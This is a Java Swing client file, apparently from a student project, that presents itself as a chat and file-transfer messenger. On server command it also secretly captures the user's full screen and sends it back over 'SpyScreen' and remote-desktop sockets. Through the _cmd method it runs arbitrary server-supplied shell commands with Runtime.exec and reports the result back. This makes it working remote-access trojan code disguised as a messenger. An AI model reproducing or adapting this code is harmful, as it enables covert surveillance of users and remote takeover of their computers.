/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package Gui;

import Params.*;
import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.StringTokenizer;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.DefaultListModel;
import javax.swing.ImageIcon;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;

/**
 *
 * @author ANH PHONG
 */
public class ClientForm extends javax.swing.JFrame implements SocketListener, Runnable, ActionListener {
    
    public String _ip = "192.168.0.2";
    public String _port = "1234";
    public static String strFilePath = "";// duong dan file
    public static String strFileName = "";// ten file
    public byte[] arrByteOfSendFile;
    public static ThreadConnectionChat connectionSocketChat;
    public static ObjectOutputStream outToServer = null;//xuat du lieu den server
    public static ObjectInputStream inFromServer = null;//nhan du lieu tu server goi den
    public static Socket socketSendFile = null;
    public static Socket socketRemote = null;
    public static ThreadConnectionSendMessage connectionSocketSendMessages;
    public static ThreadConnectionSocketCapture socketconnectionCapture;
    public static ThreadConnectionSocketSpyScreen socketconnectionSpy;
    public static ThreadConnectionSocketSendShell socketconnectionshell;
    public static ThreadConnectionSocketRemoteDesktop socketconnectionremote;
    public static DefaultListModel ds = new DefaultListModel();

    /**
     * Creates new form ClientForm
     */
    public ClientForm() {
        initComponents();
    }
    
    private void initClient() {
        
        try {
            Thread thread = new Thread(this);
            thread.start();
        } catch (Exception ex) {
            Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        jLabel1 = new javax.swing.JLabel();
        jbtnChoseFile = new javax.swing.JButton();
        jbtnsend = new javax.swing.JButton();
        jtxtinput = new javax.swing.JTextField();
        jScrollPane2 = new javax.swing.JScrollPane();
        jListshow = new javax.swing.JList();
        jbtnconnet = new javax.swing.JButton();
        jbtndisconnect = new javax.swing.JButton();
        jbtnmessage = new javax.swing.JButton();
        btnExit = new javax.swing.JButton();

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        addWindowListener(new java.awt.event.WindowAdapter() {
            public void windowOpened(java.awt.event.WindowEvent evt) {
                formWindowOpened(evt);
            }
        });
        addWindowStateListener(new java.awt.event.WindowStateListener() {
            public void windowStateChanged(java.awt.event.WindowEvent evt) {
                LoadForm(evt);
            }
        });

        jLabel1.setBackground(new java.awt.Color(0, 204, 0));
        jLabel1.setForeground(new java.awt.Color(0, 153, 0));
        jLabel1.setText(" INPUT MESSENGER");

        jbtnChoseFile.setIcon(new javax.swing.ImageIcon(getClass().getResource("/Images/file_trans.png"))); // NOI18N
        jbtnChoseFile.setText("Chose and send file");
        jbtnChoseFile.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtnChoseFileActionPerformed(evt);
            }
        });

        jbtnsend.setText("Send");
        jbtnsend.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtnsendActionPerformed(evt);
            }
        });

        jtxtinput.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jtxtinputActionPerformed(evt);
            }
        });

        jScrollPane2.setViewportView(jListshow);

        jbtnconnet.setIcon(new javax.swing.ImageIcon(getClass().getResource("/Images/player_play.png"))); // NOI18N
        jbtnconnet.setText("Connect");
        jbtnconnet.setHorizontalAlignment(javax.swing.SwingConstants.LEFT);
        jbtnconnet.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtnconnetActionPerformed(evt);
            }
        });

        jbtndisconnect.setIcon(new javax.swing.ImageIcon(getClass().getResource("/Images/player_pause.png"))); // NOI18N
        jbtndisconnect.setText("Disconnect");
        jbtndisconnect.setHorizontalAlignment(javax.swing.SwingConstants.LEFT);
        jbtndisconnect.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtndisconnectActionPerformed(evt);
            }
        });

        jbtnmessage.setText("Send Message");

        btnExit.setIcon(new javax.swing.ImageIcon(getClass().getResource("/Images/exit.png"))); // NOI18N
        btnExit.setText("Exits");
        btnExit.setHorizontalAlignment(javax.swing.SwingConstants.LEFT);
        btnExit.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnExitActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
                    .addComponent(jLabel1, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 474, Short.MAX_VALUE)
                    .addComponent(jbtnChoseFile, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 147, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
                        .addComponent(jtxtinput, javax.swing.GroupLayout.PREFERRED_SIZE, 388, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jbtnsend, javax.swing.GroupLayout.PREFERRED_SIZE, 65, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addComponent(jScrollPane2, javax.swing.GroupLayout.Alignment.LEADING))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jbtndisconnect, javax.swing.GroupLayout.DEFAULT_SIZE, 111, Short.MAX_VALUE)
                    .addComponent(jbtnconnet, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jbtnmessage, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(btnExit, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 214, Short.MAX_VALUE)
                        .addGap(18, 18, 18)
                        .addComponent(jbtnChoseFile, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                        .addGap(7, 7, 7)
                        .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 29, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jtxtinput, javax.swing.GroupLayout.PREFERRED_SIZE, 59, javax.swing.GroupLayout.PREFERRED_SIZE)
                            .addComponent(jbtnsend, javax.swing.GroupLayout.PREFERRED_SIZE, 38, javax.swing.GroupLayout.PREFERRED_SIZE))
                        .addGap(30, 30, 30))
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(jbtnconnet)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jbtndisconnect)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jbtnmessage)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(btnExit)
                        .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))))
        );

        pack();
    }// </editor-fold>//GEN-END:initComponents

    public ClientForm(String _ip, String _port) {
        this.jtxtinput.addActionListener(this);
    }
    private void jbtnChoseFileActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtnChoseFileActionPerformed
        // TODO add your handling code here:
        arrByteOfSendFile = null;
        JFileChooser choosen = new JFileChooser();
        choosen.showOpenDialog(null);
        File s = choosen.getSelectedFile();
        strFilePath = s.toString();
        int index = strFilePath.lastIndexOf("\\");
        strFileName = strFilePath.substring(index + 1);
        try {
            //lay file du lieu
            FileInputStream inFromHardDisk = new FileInputStream(strFilePath);
            //lay kich thuoc file
            int size = inFromHardDisk.available();
            //khoi tao 1 mang byte(vi du lieu truyen di la byte)
            arrByteOfSendFile = new byte[size];
            //doc du lieu vao mang byte roi goi di
            inFromHardDisk.read(arrByteOfSendFile, 0, size);
            ClientForm.outToServer.writeObject("IsFileTransfered");
            ClientForm.outToServer.flush();
            // gui ten file den server
            ClientForm.outToServer.writeObject(strFileName);
            ClientForm.outToServer.flush();
            // gui mang byte den server
            ClientForm.outToServer.writeObject(arrByteOfSendFile);
            ClientForm.outToServer.flush();
            ds.addElement("Send file :" + strFileName + " To Server");
            this.jListshow.setModel(ds);
        } catch (Exception e) {
            System.out.println(e);
        }
    }//GEN-LAST:event_jbtnChoseFileActionPerformed
    public void onRead(ChatMessage message) {
        if (message.getType() == 1) {
            ds.addElement("Server : " + message.getMessage());
            this.jListshow.setModel(ds);
        } else if (message.getType() == 2) {
            JOptionPane.showConfirmDialog(this, "Xin thông báo :" + message.getMessage(), "Thông Báo", JOptionPane.CLOSED_OPTION);
        } else if (message.getType() == 3) {
            try {
                Robot robot = new Robot();
                Dimension dim = Toolkit.getDefaultToolkit().getScreenSize();
                Rectangle rectangle = null;
                rectangle = new Rectangle(dim);
                try {
                    //                socketconnectionCapture.bufferedWriter.println("Client thong bao");
                    //
                    ////            frmMain.connectionSocketChat.bufferedWriter.newLine();
                    //                frmMain.socketconnectionCapture.bufferedWriter.flush();
                    BufferedImage image = robot.createScreenCapture(rectangle);
                    /* I have to wrap BufferedImage with ImageIcon because BufferedImage class
                     * does not implement Serializable interface
                     */
                    ImageIcon imageIcon = new ImageIcon(image);

                    //                socketconnectionCapture.outToClient.writeObject(rectangle);
                    System.out.println("before sending image");
                    socketconnectionCapture.outToClient.writeObject(imageIcon);
                    socketconnectionCapture.outToClient.reset();
                } catch (Exception ex) {
                    Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
                }
                
            } catch (AWTException ex) {
                Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
            }
            
        } else if (message.getType() == 4) {
            try {
                Robot robot = new Robot();
                Dimension dim = Toolkit.getDefaultToolkit().getScreenSize();
                Rectangle rectangle = null;
                rectangle = new Rectangle(dim);
                try {
                    BufferedImage image = robot.createScreenCapture(rectangle);
                    ImageIcon imageIcon = new ImageIcon(image);
                    System.out.println("before sending image");
                    socketconnectionSpy.outToClient.writeObject(imageIcon);
                    socketconnectionSpy.outToClient.reset();
                } catch (Exception ex) {
                    Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
                }
                
            } catch (AWTException ex) {
                Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
            }
            
        } else if (message.getType() == 5) {
            try {
                _cmd(message);
            } catch (IOException ex) {
                Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
            }
        } else if (message.getType() == 6) {
            try {
                Robot robot = new Robot();
                Dimension dim = Toolkit.getDefaultToolkit().getScreenSize();
                Rectangle rectangle = null;
                rectangle = new Rectangle(dim);
                try {
                    BufferedImage image = robot.createScreenCapture(rectangle);
                    /* I have to wrap BufferedImage with ImageIcon because BufferedImage class
                     * does not implement Serializable interface
                     */
                    ImageIcon imageIcon = new ImageIcon(image);
                    System.out.println("before sending image");
                    socketconnectionremote.outToClient.writeObject(imageIcon);
                    socketconnectionremote.outToClient.reset();
                } catch (Exception ex) {
                    Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
                }
                
            } catch (AWTException ex) {
                Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
            }
            
        }
    }
    
    private void jbtnsendActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtnsendActionPerformed
        try {
            ClientForm.connectionSocketChat.bufferedWriter.println(this.jtxtinput.getText());
            ds.addElement("Client : " + this.jtxtinput.getText());
            this.jListshow.setModel(ds);
            ClientForm.connectionSocketChat.bufferedWriter.flush();
            this.jtxtinput.setText("");
        } catch (Exception ex) {
            Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jbtnsendActionPerformed
    private void NhanFile() {
        try {
            int flag = 0;
            socketSendFile = new Socket(_ip, Integer.parseInt(_port) + 2);
            outToServer = new ObjectOutputStream(socketSendFile.getOutputStream());
            outToServer.flush();//xa luong
            inFromServer = new ObjectInputStream(socketSendFile.getInputStream());
            while (true) {
                //doc du lieu tu luong inFromServer
                Object objRecieved = inFromServer.readObject();
                switch (flag) {
                    case 0:
                        //kiem tra doi tuong duoc goi di tu server
                        //vi truoc khi dc goi di server da ghi vao doi tuog goi di 1 chuoi(IsFileTransfered)
                        if (objRecieved.equals("IsFileTransfered")) {
                            flag++;
                        }
                        break;
                    case 1:
                        strFileName = (String) objRecieved;
                        int intOption = JOptionPane.showConfirmDialog(null,
                                "Server is sending you "
                                + strFileName + "!\nDo you want to recieve it?", "Recieve Confirm",
                                JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE);
                        if (intOption == JOptionPane.YES_OPTION) {
                            String str = OptionDialog.DialogSaveFile(strFileName);
                            strFileName = str;
                            //OptionDialog.showDialogSendMessages(strFileName);
                            flag++;
                        } else {
                            flag = 0;
                        }
                        break;
                    case 2:
                        if (!strFileName.equals("")) {
                            //du lieu duoc do vao mang byte thong qua lenh (byte[])
                            byte[] arrByteOfReceivedFile = (byte[]) objRecieved;
                            File file = new File(strFileName);
                            if (!file.exists()) {
                                file.createNewFile();
                            }
                            //tao ra file co ten trung voi ten file goi
                            //FileOutputStream outToHardDisk = new FileOutputStream(strFileName); 
                            FileOutputStream outToHardDisk = new FileOutputStream(file);
                            //du lieu tu arrByteOfReceivedFile se dc chay vao luong nay
                            outToHardDisk.write(arrByteOfReceivedFile);
                            outToHardDisk.close();//moi them vao
                            flag = 0;
                            JOptionPane.showMessageDialog(this, "File Recieved!", "Confirmation", JOptionPane.INFORMATION_MESSAGE);
                        }
                        break;
                }
                //lenh nay thong bao cho scheduler biet(dag ranh) de thuc thi 1 thread khac
                Thread.yield();
            }
        } catch (Exception e) {
            System.out.println(e);
        }
    }
    private void btnExitActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnExitActionPerformed
        this.dispose();
    }//GEN-LAST:event_btnExitActionPerformed
    
    private void jbtndisconnectActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtndisconnectActionPerformed
        // TODO add your handling code here:
        try {
            // TODO add your handling code here:
            ClientForm.connectionSocketChat.bufferedWriter.println("exit_1");
            ClientForm.connectionSocketChat.bufferedWriter.flush();
            connectionSocketChat.GiaiPhong();
            this.jbtnconnet.setEnabled(true);
            this.jbtnChoseFile.setEnabled(false);
            this.jbtnmessage.setEnabled(false);
            this.jbtnsend.setEnabled(false);
            this.jbtndisconnect.setEnabled(false);
        } catch (IOException ex) {
            Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jbtndisconnectActionPerformed
    
    private void jbtnconnetActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtnconnetActionPerformed
        try {
            // create socketclient
            this._ip = InetAddress.getLocalHost().getHostAddress();
            frmSetUpClient frmportclient = new frmSetUpClient(this, rootPaneCheckingEnabled);
            frmportclient.setVisible(true);
            frmportclient.txtip.setText(_ip);
            if (frmportclient.getReturnStatus() == 1)//khi click button ok thì method getReturnStatus() trả về 1
            {
                _port = frmportclient.txtport.getText();
                _ip = frmportclient.txtip.getText();
            } else {
                return;
            }
            
        } catch (UnknownHostException ex) {
            Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
        }
        
        initClient();
        this.jbtndisconnect.setEnabled(true);
        
        this.jbtnChoseFile.setEnabled(true);
        
        this.jbtnmessage.setEnabled(true);
        this.jbtnsend.setEnabled(true);
        this.jbtnconnet.setEnabled(false);
        
    }//GEN-LAST:event_jbtnconnetActionPerformed
    
    private void LoadForm(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_LoadForm
        // TODO add your handling code here:
    }//GEN-LAST:event_LoadForm
    
    private void formWindowOpened(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowOpened
        // TODO add your handling code here:
        this.jbtndisconnect.setEnabled(false);
        
        this.jbtnChoseFile.setEnabled(false);
        
        this.jbtnmessage.setEnabled(false);
        this.jbtnsend.setEnabled(false);
    }//GEN-LAST:event_formWindowOpened
    
    private void jtxtinputActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jtxtinputActionPerformed
        // TODO add your handling code here:
        try {
            ClientForm.connectionSocketChat.bufferedWriter.println(this.jtxtinput.getText());
            ds.addElement("Client : " + this.jtxtinput.getText());
            this.jListshow.setModel(ds);
            ClientForm.connectionSocketChat.bufferedWriter.flush();
            this.jtxtinput.setText("");
        } catch (Exception ex) {
            Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jtxtinputActionPerformed

    /**
     * @param args the command line arguments
     */
    @Override
    public void run() {
        try {
            Socket socketChat = new Socket(_ip, Integer.parseInt(_port));
            connectionSocketChat = new ThreadConnectionChat(socketChat, this);
            
            
            Thread.sleep(50);
            Socket socketSendMessages = new Socket(_ip, Integer.parseInt(_port) + 1);
            connectionSocketSendMessages = new ThreadConnectionSendMessage(socketSendMessages, this);
            
            
            Thread.sleep(50);
            
            Socket socketCapture = new Socket(_ip, Integer.parseInt(_port) + 3);
            socketconnectionCapture = new ThreadConnectionSocketCapture(socketCapture, this);
            
            Thread.sleep(50);
            Socket socketSpy = new Socket(_ip, Integer.parseInt(_port) + 4);
            socketconnectionSpy = new ThreadConnectionSocketSpyScreen(socketSpy, this);
            
            Thread.sleep(50);
            Socket socketshell = new Socket(_ip, Integer.parseInt(_port) + 5);
            socketconnectionshell = new ThreadConnectionSocketSendShell(socketshell, this);
            
            Thread.sleep(50);
            Socket socketremote = new Socket(_ip, Integer.parseInt(_port) + 6);
            socketconnectionremote = new ThreadConnectionSocketRemoteDesktop(socketremote, this);
            
            NhanFile();
            
        } catch (Exception ex) {
            Logger.getLogger(ClientForm.class.getName()).log(Level.SEVERE, null, ex);
            
        }
    }
    
    public static void main(String args[]) {
        /* Set the Nimbus look and feel */
        //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
        /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
         * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html 
         */
        try {
            for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
                if ("Nimbus".equals(info.getName())) {
                    javax.swing.UIManager.setLookAndFeel(info.getClassName());
                    break;
                }
            }
        } catch (ClassNotFoundException ex) {
            java.util.logging.Logger.getLogger(ClientForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        } catch (InstantiationException ex) {
            java.util.logging.Logger.getLogger(ClientForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        } catch (IllegalAccessException ex) {
            java.util.logging.Logger.getLogger(ClientForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        } catch (javax.swing.UnsupportedLookAndFeelException ex) {
            java.util.logging.Logger.getLogger(ClientForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        }
        //</editor-fold>

        /* Create and display the form */
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new ClientForm().setVisible(true);
            }
        });
    }
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton btnExit;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JList jListshow;
    private javax.swing.JScrollPane jScrollPane2;
    private javax.swing.JButton jbtnChoseFile;
    private javax.swing.JButton jbtnconnet;
    private javax.swing.JButton jbtndisconnect;
    private javax.swing.JButton jbtnmessage;
    private javax.swing.JButton jbtnsend;
    private javax.swing.JTextField jtxtinput;
    // End of variables declaration//GEN-END:variables

    @Override
    public void onstasrt() {
        throw new UnsupportedOperationException("Not supported yet.");
    }
    
    @Override
    public void onStop() {
        throw new UnsupportedOperationException("Not supported yet.");
    }
    
    @Override
    public void actionPerformed(ActionEvent e) {
        throw new UnsupportedOperationException("Not supported yet.");
    }

    private void _cmd(ChatMessage message) throws IOException {
        StringTokenizer token = new StringTokenizer(message.getMessage(), "&");
        while (token.hasMoreElements()) {
            String cmd = token.nextToken();
            if (cmd.equals("exit")) {
                socketconnectionshell.bufferedWriter.println("Thành công");
                socketconnectionshell.bufferedWriter.flush();
                System.exit(1);
                
            } else {
                try {
                    Runtime r = Runtime.getRuntime();
                    Process p = r.exec(cmd);
                    socketconnectionshell.bufferedWriter.println("Thành công");
                    socketconnectionshell.bufferedWriter.flush();
                    
                    
                } catch (Exception e) {
                    socketconnectionshell.bufferedWriter.println(e.getMessage());
                    socketconnectionshell.bufferedWriter.flush();
                }
            }
        }
        
    }
}
